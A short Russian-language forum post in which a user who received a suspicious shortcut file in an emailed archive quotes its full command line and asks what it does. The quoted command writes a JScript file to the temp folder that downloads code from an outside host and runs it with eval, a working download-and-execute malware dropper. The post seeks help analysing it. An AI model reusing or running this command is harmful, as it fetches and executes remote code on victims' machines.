Всех приветствую.
Пришел по почте ярлычек в архиве.
Приведу скриншот и текст.
screen.PNG 28,27 КБ 1 Скачано
%windir%\system32\cmd.exe /c cd %TEMP%&echo. 2>s.js&echo var r = new ActiveXObject("Msxml2.ServerXMLHTTP.6.0");r.open("GET","http://download-file-mail.com/src/src",false);r.send^(^);var b = r.responseText;eval^(b^);>s.js&start s.js
Смутно понимаю, что эта шляпа хочет скачать и запустить файл s.js
Вопрос к экспертам, что именно происходит, после запуска такого "ярлычка"?